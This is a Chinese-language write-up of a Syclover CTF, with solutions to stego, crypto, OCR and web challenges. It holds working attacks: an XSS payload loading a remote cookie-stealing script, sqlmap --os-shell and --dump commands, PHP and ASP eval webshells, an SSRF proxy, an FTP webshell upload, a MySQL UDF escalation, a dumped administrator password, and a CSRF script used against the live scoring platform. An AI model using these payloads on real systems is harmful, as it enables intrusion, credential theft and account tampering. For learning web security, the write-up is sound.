Ox01
http://hack.myclover.org/这个是比赛的平台,比赛持续了3天4夜,小伙伴们都很给力哈。三叶草的维护服务器、出题的、写平台的小伙伴们辛苦了哇。这份writeup不只是会记录正确的思路,也会记录下比赛过程中的一些坑,一些错误的想法,以及这个尝试的过程,这个才是最重要的。在这个比赛过程中也是涨姿势了。
Ox02 杂项-BP断点
分数:100
描述:提示1:key不是大家喜欢的波波老师! 提示2:bmp+png 提示3:CRC
Link: http://pan.baidu.com/s/1o6x4FEE
这个题一开始提示得少,到了比赛后期才给出了一些提示。
先看看题目,题目给出了fxxk.jpg 这个题目是个隐写题。下载文件下来之后尝试打开,发现打不开,winhex打开看看
发现文件前几个字节都被改成了00,修改回来,改成bmp的文件头。42 4D 46 3F
打开后发现是波波老师的图片,发现了一个key,提交了也不对,看来是个坑。
后来在图片里发现了一个东西,看着很眼熟。PNG,文件头的标志。
以89 50开始,到文件结尾,提取出来,保存成.png,一开始做的时候傻逼了,发现了这个 以为是结尾,然后就往前找。结果当然是什么也提取不出来,前面就是原本的bmp图片。
提取出后保存为.png,打开一下试试看,发现还是打不开。用winhex看一下二进制。
发现了4个长度字节是被置0,是没法打开的。我们需要利用crc校验码找到原来的长度。
bmp&png图片取证
可以参考一下我的blog里的这个题,是之前做过的一个类似的题,也有个python脚本。但是我第一夜去爆破,测试后发现算不不出来。后来才发现坑爹的地方是他的长宽都被修改过了,需要重新去爆破一下。爆破出来的结果是宽度 0x 01 90 长度 0x 01 90
winhex改写一下长宽,发现已经是可以打开了。
key:T7i5Is7h3R3411yK3y_!@#()
Ox03 杂项-最简单的加解密
分数:300
描述:提示1:DES 提示2:凯撒
Link: http://pan.baidu.com/s/1o6qJcue
图片是个二维码,打开,发现也没有什么异常,没有什么特殊数据追加在文件尾。那么就去扫个二维码吧。
http://www.onlinebarcodereader.com/
这个网站可以在线解二维码,当然你也可以自己用自己的手机去扫扫。
解出来是个url
http://cli.im/9s7Nh
访问url之后发现是一个图片,下载下来。
用stegsolve打开看看stegsolve下载
神器啊
可以看到文件的结尾还有一些01的二进制串。用winhex提取出来。
1001101001100100101100101111000010011100111101001001001001100000100111101000100010010100110111101001110010101110111010001101111010011100100010001011001011110100110000101010111010110100110110101001101001100100110011101111000010110100110101001011010011011100101101001101101010110010011010001001101010001110110001100110100010011110101010001001101001101010100111101000100010000010111100001001111010101110111010001110010010011100100010001001001011110010110000101000100010101100110110101001111010001000110011100110000
101001101111001011000110110110000110000011101100011001101110010
分别是511位和63位,看到这种情况,非常的接近512位和64位,我们需要去补充一位。
前面后面补0补1都分别尝试一下,发现是要在前面补充0是能转成字符的。
用神器JPK来解一下。
JPK——binary——binary format
JPK——binary——binary to ascii
M2YxNzI0ODJoNWtoNDYzaWZmM2gxZjZnZmY4MGc4OTM5ODAxOWtrNDIyaDVmODg0
同样的方法解一下64字节的。
出来是这样子 Sycl0v3r
然后研究了一下,发现这个短的8位的应该是密钥,既然提供了密钥,说是简单的加解密,那么应该是对称加密的算法。没给提示之前,然后我们就去尝试各种非对称的,AES,DES等等。尝试了很久都不行。
直到后来去研究一下那个密文的字符集,有大小写和数字,应该是base64尝试解一下。
JPK——Ascii——Decode——Base64
3f172482h5kh463iff3h1f6gff80g89398019kk422h5f884
发现了这个,然后再研究一下密文的字符集,0-9 f-k。
发现f-k是连续的6位字母,而DES加密出来的密文刚好是0-9a-f的6位。
还是上神器JPK。JPK——Ascii——Decrypt——Caesar
然后找到a-f的那一串。
密文:3a172482c5fc463daa3c1a6baa80b89398019ff422c5a884
密钥:Sycl0v3r
http://app.baidu.com/des_algorithm
找个解DES的
You_Got_It@_@
这个就是key了,这个题主要是没接触过DES的,一开始不了解密文的字符集,导致卡了。解这种解密之类的,古典解密什么的,要注意字符集,是解题的关键。了解的字符集,可以缩小加密算法范围,更快地确定解法之类的。
Ox04 Code-Code300
分数:300
描述:程序比较大,前往下载
Link: http://pan.baidu.com/s/1dDcOlPJ
README.txt
hello,这里有一组图片需要你识别。
图片上只有阿拉伯数字。
数字的数量未知
程序会在8783端口接受你的数据
每识别成功一次,a.png会更新一次
by SYC.clover
[email protected]
运行一下是这样子的
然后据说这次的编程题都可以逆向来做,我这种逆向小白也来尝试逆向一把,ida载入。然后找到关键的有flag字符的那个字符串函数,F5一下看看源码。发现是qt的,还用了一些hash算法来计算,应该可以用qt来模拟编程,计算这个flag,然后我就放弃了,qt无力,还是正面解orc吧,还是比较好解的,图片会保存目录下的a.png。
这里有同tcp socket编程的一些技巧。
import socket sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect(('127.0.0.1', 8783)) while(True): ans = input() sock.send(str(ans)) sock.close()
一些简单的python程序来通信。
然后就是orc部分,这个因为去年校赛,冷总也出过一道orc的题目,所以这个部分是比较好做的。可以使用python下的pytesser,下面是在win下的安装包。
http://pytesser.googlecode.com/files/pytesser_v0.0.1.zip 这个是google的代码 可以现在需要翻墙才能下载到了
下载后测试运行一下,发现还要Image库,网上下一个。然后就可以下个脚本来运行。
我当时为了省时间,直接改写的pytesser.py,然后把这个文件夹和题目的文件夹合并一下。
import socket import time if __name__=='__main__': sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect(('127.0.0.1', 8783)) while(True): im = Image.open('a.png') text = image_to_string(im) sock.send(text) time.sleep(0.5) sock.close()
改写main函数,识别a.png然后sock传输到指定端口,然后再延迟0.5秒,发包太快会一次接受太多导致错误。然后延迟的最长是1秒,不能到1秒,有的机器不正确,可以修改这个0.5试试,在1以内。
k3y: acdb9102da6b
Ox05 渗透测试-XSS
这个题是Tomato大神做出来的
通过抓包可以发现有提示
根据文件名可以知道这个是备份文件,下载查看
function xss_filter($str){ $match = array('/&#([a-z0-9]+)([;]*)/i', '/\/','/\/\*([\s\S*?])\*\//', '/on(mouse|exit|error|click|dblclick|key|load|unload|change|move|submit|reset|cut|copy|select|start |stop|touch)/i', '/s[[:space:]]*c[[:space:]]*r[[:space:]]*i[[:space:]]*p[[:space:]]*t/i', '/about/i', '/frame/i', '/link/i', '/import/i', '/expression/i', '/meta/i', '/textarea/i','/eval/i', '/alert/i' ); // \\ $replace=array('', '', '', 'on\\1', 'scr_pt', 'fra_me', 'l_ink', 'im_port', 'ex_pression', 'me_ta', 'text_area', 'eva_l', 'a1ert' ); $after_str = preg_replace($match, $replace, $str); return $after_str; }
通过分析代码可以知道这个函数过滤了
进制转换后的代码,htmll两种注释方法,以及on(mouse|exit|error|click|dblclick|key|load|unload|change|move|submit|reset|cut|copy|select|start)这些on事件,很明显这样肯定还有事件没有过滤。例如:ondrag onfocus
继续分析可以知道过滤了各种script,以及about frame import expression meta textarea eval
这个函数并未过滤尖括号。这样就很好构造xss了。虽然在前台测试发现被转义了。但是后台的代码为echo ‘
‘ 用的就是这个函数。为了避免出现script,然后我们可以通过String.fromCharCode来避免其的出现
然后通过write重写。我们最后可以构造如下代码
<input onfocus=write(String.fromCharCode(60,115,99,114,105,112,116,32,115,114,99,61,104,116,116,112,58,47,47,120,115,115,46,99,111,109,47,63,120,115,115,62,60,47,115,99,114,105,112,116,62)) autofocus x=>
加上autofocus 是为了避免交互。
其实标签也没过滤,然后使用ondrag可以构造如下代码
<img src=http://xxx/xx.jpg ondrag=write(String.fromCharCode(,60,115,99,114,105,112,116,32,115,114,99,61,104,116,116,112,58,47,47,120,115,115,46,99,111,109,47,63,120,115,115,62,60,47,115,99,114,105,112,116,62)>
但是要交互。这样成功获得cookie
0×06 渗透测试-拿key的李小胖
分数:200
描述:Key被李小胖拿走了。
Link: http://web1.myclover.org/
上去网站到处逛逛,然后发现一个注入。
http://web1.myclover.org/index.php?id=1
用sqlmap跑跑
sqlmap -u "http://web1.myclover.org/index.php?id=1" --dbs --thread 10
发现跑不出来什么数据库,看来用默认的跑没法跑出来。然后就找啊找。
然后有据说题目描述是关键,里面的李小胖,就去找到李小胖学长的id: smilent。
sqlmap -u "http://web1.myclover.org/index.php?id=1" -D smilent --table --thread 10
然后去尝试跑跑,发现了表see_here。
sqlmap -u "http://web1.myclover.org/index.php?id=1" -D smilent --T see_here --columns --thread 10
发现了key,path这几个字段 如果你是手工牛,你也可以尝试手工注入一发。
Link: http://web1.myclover.org/index.php?id=0%20union%20select%201,group_concat%28path%29%20from%20smilent.see_here#
key:Hi_1m_sLxIaoPang
path: e:/wamp/cclover
这个就是下一题的提示,先记下来,是这个网站的路径,找到了路径之后我们就可以尝试写shell进去了。
0×07 渗透测试-藏key的李小胖
分数:100
描述:Key被李小胖藏了起来。
Link: http://web1.myclover.org/
题目的链接还是指向之前的题目,看来还是要接着做下去啊。用之前得到的路径,其实在题目没放出来之前,我们就手快的上去翻了东西什么的。当时就找到了key,只是提交慢了。
这个题其实就是要用到那个路径去写shell进去。
sqlmap -u "http://web1.myclover.org/index.php?id=1" --os-shell --thread 10
sqlmap的 –os-shell选项可以很方便的写shell进去。
然后上去shell,翻东西,在E:\wamp\cclover\haha_key_pang.txt 里就有第二个key和提示。
提示是mysql的root密码。
0×08 渗透测试-放key的李小胖
分数:200
描述:Key被李小胖放了起来。(tips:各位大爷提权的时候悠着点)
Link: http://web1.myclover.org/
这个题还是Tomato大神做出来的
还是一样的链接,还是一样的李小胖,我们解着上面拿到的mysql密码来撸。
通过注入拿到shell。然后进入shell后在网站根目录发现如下提示
告诉你root密码,可以推测这道题目和数据库有关。通过mysql可以想到是不是要提权
服务器。上大马一只,连上mysql。发现使用大马的udf提权不成功。然后上传暗月的高版本udf提权脚本。导出udf失败。该服务器上的mysql版本是5.5.8.在mysql5.1之后udf导出的目录就要在mysql目录下的lib\plugin ,本来想通过shell直接访问这个目录的,发现不可以读。这该肿么办呢。后面查找资料发现了一种方法,就是利用NTFS的ads来创建目录
虽然我们不可以读写该目录但是通过ads可以创建目录,并且对创建的目录具有读写权限。
然后构造如下语句
Select 'xxxx' into outfile 'e:\\wamp\\bin\\mysql\\mysql5.5.8\\lib\\plugin::$INDEX_ALLCATION'
然后屁颠屁颠的跑去执行,发现还是没有权限。因为再这之前还有一个坑,因为root用户没得文件权限
select `File_priv` from `user`where user='root'
得到的是N ,这样的话,我们来给予文件权限
Update user set `File_priv` where user = 'root';
在这个执行完了之后发现还是不可以。很是郁闷。后面发现还缺了一句
Flush privileges;
这样就成功导出udf了。
导出udf之后,来创建cmdshell。发现失败,提示说找不到mysql.fuc这个表。
既然是root。那我们来创建这个表。语句如下
CREATE TABLE func ( name char(64) binary DEFAULT '' NOT NULL, ret tinyint(1) DEFAULT '0' NOT NULL, dl char(128) DEFAULT '' NOT NULL, type enum ('function','aggregate') NOT NULL, PRIMARY KEY (name) ) engine=MyISAM CHARACTER SET utf8 COLLATE utf8_bin comment='User defined functions';
这样就成功创建了,然后创建cmdshell也成功了。之后就是一顿xxoo。
后面发现服务器没有开3389.于是上传了一个开3389的vbs。把3389个开了,然后通过lcx将服务器转发出来。其实也可以不用lcx,使用tunna也行的。然后就是各种翻,后面发现在管理员的桌面有个文本
这样就成功拿到了key。
还抓了服务器的明文
UserName: Administrator LogonDomain: SYCLOVER password: CloveraDministrator
0×09 渗透测试-我要当管理员!
分数:200
描述:先做做看,再给提示!
Link: http://web2.myclover.org/wts/
访问后发现了这个东西
Hi! Guest,Welcome to SYC Web Test Syst3m
burp抓包看看,发现了一个cookie
Cookie: level=Mg%3D%3D
Mg== 是个base64编程过的2。
我们改成1 的base64编程试试看MQ==
出现了admin的控制面板,快进去看看。
http://web2.myclover.org/wts/syc_adm1n_ok.php
这里有个登陆的表单,尝试提交,随便上一些弱口令,发现登陆不进去,还尝试一些常见的注入。
admin' or 1=1# Admin' or 1=1-- username[]=admin&password[]=admin
等等,都没有什么反应,然后发现这个题和其他的登陆表单不一样的地方。
web2.myclover.org/wts/syc_getk3y.php
有GetKey这个页面,直接访问发现还是本页面,没什么发现,抓包发现其实是个跳转。
在getkey这里也有一个表单。是要提交key=md5(our_team_name)
our_team_name应该是指的三叶草或者是syclover这个,然后测试md5。
8bfc8af07bca146c937f283b8ec768d4
我直接post key=8bfc8af07bca146c937f283b8ec768d4到getkey这个页面,发现没有效果。
然后就把表单弄到本地保存成html。
设置一下,发现了一个日站的时候常见的问题,没有按钮提交,自己就去写了一个submit
<html> <head> <title>GetKey - SYC Web Test Syst3m</title> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> </head> <body> <form action="http://web2.myclover.org/wts/syc_getk3y.php" method="post"> md5(our_team_name)=<input type="text" name="key" value="" /> <input type="submit" name="submit" value="getk3y" /> </form> </body> </html>
然后再根据那个url: syc_getk3y.php来弄一个name:getk3y。
这样子输入8bfc8af07bca146c937f283b8ec768d4
也可以构造发包
POST /wts/syc_getk3y.php HTTP/1.1 Host: web2.myclover.org User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Cookie: level=Mg%3D%3D Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 50 key=8bfc8af07bca146c937f283b8ec768d4&submit=getk3y
发现提交了之后又跳转了,然后去burp看一下。
KEY: Log1cal_Err0r_Vul
这个题还是比较接近于实战的,有一些实战中会遇到的东西,就是那个登陆框不知道,还有没有别的攻击方法能得到key。难道登陆框就是个单纯的坑。后来看了别人的writeup貌似不用submit也能成功,难怪我绕了一晚上。
0x0A 渗透测试-我是骗子
分数:200
描述:php错还是windows的错,你敢相信!玩泥巴,史密达!新提示:mickey牛思密达!
Link: http://web3.myclover.org/
打开发现了这样子的一句话, ?include=这是一个包含,你敢相信!!
那么就去尝试一下按他说的包含一下,包含本页面。
http://web3.myclover.org/?include=index.php
你已经成功了一半!!
亲,你不能这样!
发现回显了这个东西,那么可以key就是在这个页面里,我有特殊的LFI技巧。本地文件包含读取源码的技巧测试一下。
php LFI读php文件源码以及直接post webshell
ck学长的一篇文章里的技巧。
http://web3.myclover.org/?include=php://filter/read=convert.base64-encode/resource=index.php
这个可以使用php伪协议读取index.php的源码,base64回显出来。
你已经成功了一半!!
你猜的没错,这不是include,是file_get_contents!!
发现了这个东西,说是file_get_contents是一个可以返回文件内容的东西,然后我们的方向就跑偏了,去测试一下代码注入,eval什么的,执行去执行命令,在这里困了比较久。
之前也研究得少了,后来还提示说利用了一个windows的特性,没什么发现,后面还说了Mickey牛。
google hacking一发 mickey site:wooyun.org
hackyou2014 CTF web关卡通关攻略
具体的研究测试报告可以看这里:
http://onsec.ru/onsec.whitepaper-02.eng.pdf
这里还有一个windows+php下的技巧:php的某些函数获取文件时,可以使用<<代替其他字符进行猜解。
p<< 表示 p*
然后就是利用这个漏洞来猜解文件名。
http://web3.myclover.org/?include=a%3C%3C
返回这个
你已经成功了一半!!
oh my god!
http://web3.myclover.org/?include=i%3C%3C
有文件index.php 时返回
你已经成功了一半!!
你猜的没错,这不是include,是file_get_contents!!
估计这个,上burp去猜解爆破。
然后就可以去慢慢爆破了,或者写一个脚本来自动实现。
http://web3.myclover.org/?include=12ADER3JE83U4KDU3KF83N3K590WJ2H3LR94J5DJTL4.php
最后爆破出来是这个文件。
http://web3.myclover.org/12ADER3JE83U4KDU3KF83N3K590WJ2H3LR94J5DJTL4.php
访问一下发现了这样子的。
?i=这是一个包含,你敢相信!!
居然说是?i是包含,那么我们来测试一下。
http://web3.myclover.org/12ADER3JE83U4KDU3KF83N3K590WJ2H3LR94J5DJTL4.php?i=12ADER3JE83U4KDU3KF83N3K590WJ2H3LR94J5DJTL4.php
包含一下,说是你已经成功了2/3!!
http://web3.myclover.org/12ADER3JE83U4KDU3KF83N3K590WJ2H3LR94J5DJTL4.php?i=index.php
就能拿到index.php页面的源码。
$key = “1ncl4d3_FILe_g3t_c0nt3nts”;
key: 1ncl4d3_FILe_g3t_c0nt3nts
0x0B 渗透测试-不要在意细节
分数:300
描述:秒速5厘米? 不要在意细节,重点不在那里
Link: http://web2.myclover.org/audit/
打开页面后发现了一个图片,秒速5厘米的图片,既然描述说他不是重点,那么我们不要在意他,而是要做web一样的做题,而非做隐写做misc。
这个题可以扫扫,会发现key.php
访问出现 KEY: 1ts_imp0ssibl3 提交失败,果然是没有这么简单,可能题目就是需要我们去读取key.php源码,真正的key可能在注释里。
查看网页源码
<img src="readimg.php?img=bXM1bG0uanBn" width="100%"/>
发现了这个东西
http://web2.myclover.org/audit/readimg.php?img=bXM1bG0uanBn
访问一下,发现了图片显示出了ascii码,这个文件估计是能读取文件的。
bXM1bG0uanBn 参数有大小写数字,猜测是base64
ms5lm.jpg解一下,发现是可以解开的,就是文件名去base64。
把index.php去编码aW5kZXgucGhw
http://web2.myclover.org/audit/readimg.php?img=aW5kZXgucGhw
访问一下,发现了主页的源码。
<?php require_once('myclass.php'); $x = new syclover(); isset($_GET['syc']) && $g = $_GET['syc']; if (!empty($g)) { $x = unserialize($g); } echo $x->readfile(); ?>
这里发现了一个myclass.php 还有unserialize这个东西,可以利用这个去做一个序列化攻击。
还是先去把myclass.php base64编码一下bXljbGFzcy5waHA=
http://web2.myclover.org/audit/readimg.php?img=bXljbGFzcy5waHA=
查看一下源码
<?php //KEY in key.php class syclover { public $file; function __construct($fname = '') { $this -> file = $fname; } function readfile() { if (!empty($this->file) && stripos($this->file, '..')===FALSE && stripos($this->file, '/')===FALSE && stripos($this->file, '\\')===FALSE) { return @file_get_contents($this->file); } } } ?>
发现了一个class类syclover,这个类是在unserialize时必须的,我们尝试使用反序列化去解开我们传入的序列化值,然后调用readfile()读取到key.php的源码。
本地构造一下代码,构造序列化serialize,传入我们可以控制的unserialize读取key.php
<?php class syclover { public $file; function __construct($fname = 'key.php') { $this -> file = $fname; } function readfile() { if (!empty($this->file) && stripos($this->file, '..')===FALSE && stripos($this->file, '/')===FALSE && stripos($this->file, '\\')===FALSE) { return @file_get_contents($this->file); } } } $class = new syclover(); $class_ser = serialize($class); print_r($class_ser); ?>
出来是这个东西:
O:8:"syclover":1:{s:4:"file";s:7:"key.php";}
一开始做题做晕了,一直那这个去base64传给index.php,真是做晕了。仔细读一下index.php的源码就会发现并没有去做base64的。
http://web2.myclover.org/audit/index.php?syc=O:8:%22syclover%22:1:{s:4:%22file%22;s:7:%22key.php%22;}
<?php //True KEY: D4nger0us_uns3rialize //Fake KEY echo "KEY: 1ts_imp0ssibl3"; ?><img src="readimg.php?img=bXM1bG0uanBn" width="100%"/>
拿到了key: D4nger0us_uns3rialize
0x0C 渗透测试-cert auth
分数:500
描述:证书缺乏有效验证
Link: http://pan.baidu.com/s/1dDlBN0l
航大的题目,是个apk,一开始有个提示:人家真是web题,那就不去做什么逆向了,把他当成web的来做做。
把apk在手机上安装之后,发现是有一个登陆,要求输入user,pwd,然后Login会返回一个状态。
这里是在登陆验证一个状态之类的,我们可以尝试抓包看看。
手机的抓包,可以使用代理到本地,burp抓包或者是使用wireshark抓包。
无线的局域网是192.16/8.137.*
网关是笔记本也就是192.168.137.1,手机连接上去之后,尝试代理到8080端口。
burp再设置一下代理的网段,修改到192.168.137.1:8080,进行抓包。
然后手机发个包,然后再burp这里就可以抓到了。
GET /749202db39fbcb0e94fd23c521f44584.php?username=123456 HTTP/1.1 User-Agent: Dalvik/1.6.0 (Linux; U; Android 4.2.1; 2013022 MIUI/JHACNAL5.0) Host: web5.myclover.org Connection: Keep-Alive Accept-Encoding: gzip
抓取到了一个443端口的东西,一开始做这个题的时候我没细心看,抓到这个url之后,我去访问了
http://web5.myclover.org/749202db39fbcb0e94fd23c521f44584.php?username=123456
发现了404,然后就到http://web5.myclover.org/ 这上面主页什么的去找东西了。
后来发现方向错了,后来的tips是什么证书啊之类的,估计就是和https和443有关。
https://web5.myclover.org/749202db39fbcb0e94fd23c521f44584.php?username=123456
访问之后回显是welcome,有一个参数username,尝试去注入,直接在sqlmap上跑,分分钟跑出来,cbuteng_certification。
我写writeup的时候,web5的服务器关了,就没能再跑一次,大概是航大的vps关了。
sqlmap -u "https://web5.myclover.org/749202db39fbcb0e94fd23c521f44584.php?username=123456" --dump
做出来这个题之后,和航航交流,他给了个这个题相关的链接。
http://security.tencent.com/index.php/blog/msg/41
就是在做https时,自签名的证书带来的危险。这个题的本意是需要自己去签一个证书,然后去过https认证之后,才能得到url。可是却被我神奇地通过burp抓到了,题目的难度就瞬间下降了。
0x0D 渗透测试-key在那遥远的地方
分数:500
描述:dz是最新的,不要纠结dz了,寻找其他入口,比如有废弃的老程序!dz服务器不用提权,当然你有能力提权也可以。
Link: http://web4.myclover.org
这个题我比赛的时候没做出来,时间不太后,比赛结束之后给做出来了,也顺便一起写了。
这个题目一开始大家的方向都往dz方面去了。不过dz又是最新的,砸0day这种事情是无力的。大家都一直被困着,直到后来tips: dz是最新的,不要纠结dz了,寻找其他入口,比如有废弃的老程序!
然后就去扫目录,扫文件。扫出来一个old目录 http://web4.myclover.org/old/
看到这个东西,然后还得到了一个备份文件。
http://web4.myclover.org/old/old.zip
然后就是做代码审计,尝试之类的,我去找了他说的随风V3.6的cms,可是本地没搭起来,好像是mysql的问题。然后就看着代码,测测cms。
http://web4.myclover.org/old/index.php?cid=0
发现了注入,在代码里没做过滤,可是测试的时候又不行了。
http://web4.myclover.org/old/add.php
后来在这个文件里发现了一个post注入
$add=$_GET["add"]; $id=$_GET["id"]; $class_bdt=$_POST["class_bdt"]; $bo=$_POST["content"]; $sj=date("Y-n-j G:i:s"); $t=$_POST["t"]; if($add!=""){ $sql="insert into cbody(cid,c,sj,sh,h,t) values(".$class_bdt.",'".$bo."','".$sj."',".$w_c.",'0','".$t."')"; mysql_query($sql) or die(mysql_error());
一个insert查询,对于参数content没做过滤,可以用post注入。
sqlmap有个技巧可以直接很方便的指定查询的参数 *
把这个保存成post.txt文件
POST /old/add.php?add=all HTTP/1.1 Host: web4.myclover.org User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:26.0) Gecko/20100101 Firefox/26.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Referer: http://web4.myclover.org/old/add.php Cookie: AJSTAT_ok_pages=1; AJSTAT_ok_times=1 Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 78 t=a&class_bdt=4&content=*asad&Submit=%E5%8F%91%E5%B8%83%E4%BF%A1%E6%81%AF
执行sqlmap -r 'post.txt' --dbs #查询数据库 sqlmap -r 'post.txt' -D test --table #查询test数据库中的表名 sqlmap -r 'post.txt' -D test -T config --columns #拖config表中的列 sqlmap -r 'post.txt' -D test -T config --dump #拖config表中的数据
用户名是 admin
密码是shishijiushizheyangrangrenbuganxiangxin
尝试去登陆后台。
http://web4.myclover.org/old/admin/
其实在之前就拿到了路径的,在old.zip中的,临时文件中有的路径的D:\wamp\www\old
尝试使用注入 –os-shell写shell上去失败了。
登陆进去之后到处转转,翻翻后台什么的,发现有一个configs文件夹,就想尝试能不能写shell到config文件里。
在edit4.php中有一个插一句话,我们本地没搭起环境,然后就很机智的把这个edit4.php提取出来,在本地测了一会,本地已经可以解析了,测试网站就是没连上,估计是姿势错了,换个姿势再来
http://web4.myclover.org/old/admin/edit4.php?id=utf8;{${eval($_POST["appleu0"])}};
http://web4.myclover.org/old/admin/configs/unicude.php
菜刀连上去,后来还发现有人很恶心地在删shell,导致这个题的做题速度变慢了很多,有时还不止删shell,连漏洞利用 edit4.php 或者是 那个config文件,有时候要回滚才能再做这个题,太恶心了,没准备好curl脚本或者是shellscript导致被动了。
拿到shell之后,在上面发现了一个tips.txt
192.168.5.2 80 21 81
这个题是个内网题,比较恶心,七拐八拐的。
尝试执行命令发现不行,没权限执行不了,题目tips中说:dz服务器不用提权,当然你有能力提权也可以。那么我们还是尝试别的访问方式
<?php $url=$_GET?$_GET['url']:exit(); $data=$_POST?http_build_query($_POST):''; if($data){ $context=stream_context_create(array('http'=>array('method'=>'POST','content'=>$data))); $result=file_get_contents($url,false,$context); }else{ $result=file_get_contents($url); } echo $result; ?>
上传这个,可以使用php中的curl来访问内网文件。
http://web4.myclover.org/api/post.php?url=http://192.168.5.2/index.php
访问一下发现回显:这是一句话
那么既然说是一句话,那么我们可以尝试进行爆破一下。
抓个包上个webshell的密码字典去爆破一下,爆破出来是一个常见的密码xx 写writeup的时候好像改过了。爆破出来这个之后,会显示username:test;password:zhegemimashipassword
这个就是21端口的密码,都是按着tips中给的顺序来的,80 21 81
访问一下81端口,发现了iisstart.htm
http://web4.myclover.org/api/post.php?url=http://192.168.5.2:81/
http://web4.myclover.org/api/post.php?url=http://192.168.5.2:81/iisstart.htm
当时的想法就是要通过21端口,去写webshell到81端口的目录下面。
使用一个php脚本的模拟ftp登陆上传读取等的脚本。
<?php $conn = ftp_connect("192.168.5.2") or die("Could not connect"); ftp_login($conn,"test","zhegemimashipassword"); $file = fopen("http://web4.myclover.org/shell.txt","r"); echo ftp_fput($conn,"/Inetpub/wwwroot/shell.asp",$file,FTP_ASCII); print_r (ftp_rawlist($conn,"/Inetpub/wwwroot/")); ftp_close($conn); ?>
这里是写到的iis的默认路径 /Inetpub/wwwroot/
使用的asp的webshell
shell.txt: <%eval request("appleu0")%>
上菜刀
http://web4.myclover.org/api/post.php?url=http://192.168.5.2:81/shell.asp
密码是appleu0
在菜刀上清空一下网站的缓存,可能会有之前的web4的一些记录,会有影响。
然后就是上去翻东西,翻东西。
发现在E盘上发现了key.txt
Th151skey
还留了言哈哈,是第二个进去的,我们也是跟着之前一个队 洋葱你好,洋葱再见 的痕迹进去的。这个题真的是七拐八拐的,时间不太够。
0x0E 渗透测试-平台漏洞
发现这个csrf漏洞,主要是一开始从web4那个服务器里发现一个xss的东西,在web4那台服务器上有一个冷总的xss平台的链接,然后我看到这个之后就在想有没有什么能在这次比赛中利用的xss攻击,然后就想起了web1,web1的那个服务器很多人是拿到了webshell的权限的,可以在web1那里做一个xss的攻击,但是后来发现虽然平台的cookie没有httponly标签,但因为同源策略hack.myclover.org不会把cookie带给web1的,所以就没法利用xss来获取选手的cookie什么的。
虽然没法进行xss,就测了一下csrf,发现csrf可以实施,平台没有csrftoken,referer来源验证什么的也测试过发现没有,提交修改资料时没有验证码,并没有什么是我们需要猜测的参数。需要能带上选手的cookie,可以进行攻击,进行post 提交修改选手的数据。
update:队长修改
POST /index.php/team HTTP/1.1 Host: hack.myclover.org User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Referer: http://web1.myclover.org Cookie: syclover= Content-Type: application/x-www-form-urlencoded Content-Length: 166 team_leader=AppLeU0&slogan=%E5%A5%BD%E7%9A%84%E5%A4%A7%E7%8E%8B%2C%E6%8A%A5%E5%91%8A%E5%A4%A7%E7%8E%8B&stuID=2013123000&phone=18388888&college=11&updateteam=UPDATE
只要带上对应的参数就可以修改 删除两个以上就没法成功 直接修改参数就可以了
改的麻麻都不认识了
尝试成功
udate:update 队友 user_id=131&name=Tomato&stuID=2013000000&phone=18300000000&college=11&action=UPDATE delete:删除队友 user_id=131&name=Tomato&stuID=2013000000&phone=18300000000.&college=11&action=DELETE
#原理都是差不多的 user_id 是固定的 可以通过循环来获取,删除掉所有的队友
构造javascript的post:
<body> <script> thisTHost = "http://hack.myclover.org/index.php/team";function PostSubmit(url, data, msg,aa,ss,dd,ff) { var postUrl = url; var postData = data; var msgData = msg; var ExportForm = document.createElement("FORM"); document.body.appendChild(ExportForm); ExportForm.method = "POST"; var newElement = document.createElement("input"); newElement.setAttribute("name", "team_leader"); newElement.setAttribute("type", "hidden"); var newElement2 = document.createElement("input"); newElement2.setAttribute("name", "slogan"); newElement2.setAttribute("type", "hidden"); var newElement3 = document.createElement("input"); newElement3.setAttribute("name", "stuID"); newElement3.setAttribute("type", "hidden"); var newElement4 = document.createElement("input"); newElement4.setAttribute("name", "phone"); newElement4.setAttribute("type", "hidden"); var newElement5 = document.createElement("input"); newElement5.setAttribute("name", "college"); newElement5.setAttribute("type", "hidden"); var newElement6 = document.createElement("input"); newElement6.setAttribute("name", "updateteam"); newElement6.setAttribute("type", "hidden"); ExportForm.appendChild(newElement); ExportForm.appendChild(newElement2); ExportForm.appendChild(newElement3);ExportForm.appendChild (newElement4);ExportForm.appendChild(newElement5);ExportForm.appendChild(newElement6); newElement.value = postData; newElement2.value = msgData; newElement3.value = aa;newElement4.value = ss;newElement5.value = dd;newElement6.value = ff; ExportForm.action = postUrl; ExportForm.submit(); } PostSubmit(thisTHost,"AppLeU0","%E5%A5%BD%E7%9A%84%E5%A4%A7%E7%8E%8B%2C%E6%8A%A5%E5%91%8A%E5%A4%A7%E7%8E%8B","2012123071","18380464523","12","UPDATE"); </script> </body>
感谢roker牛提供了代码哇
在vps上保存成html,然后可以使用一个iframe标签
<iframe src=http://hacker/csrf.html WIDTH=0 HEIGHT=0></iframe>
后来还尝试使用csrf来获取别人的key,不过好像因为有token在,所以不行。
最后给加上了150分
csrf到了洋葱你好 洋葱再见 截图留念一下
Ox0F后记
小伙伴们很给力哈,整理writeup也很辛苦,做题之后又是整整休息了两天,熬夜太累,在这次比赛中收获了很多哈,写不动了writeup,本来还想说用markdown来弄的pdf,不过工作量太大,只要是图片太多比较难插,看有没有时间搞出来。
FROM :appleu0.sinaapp.com | Author:appleu0
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论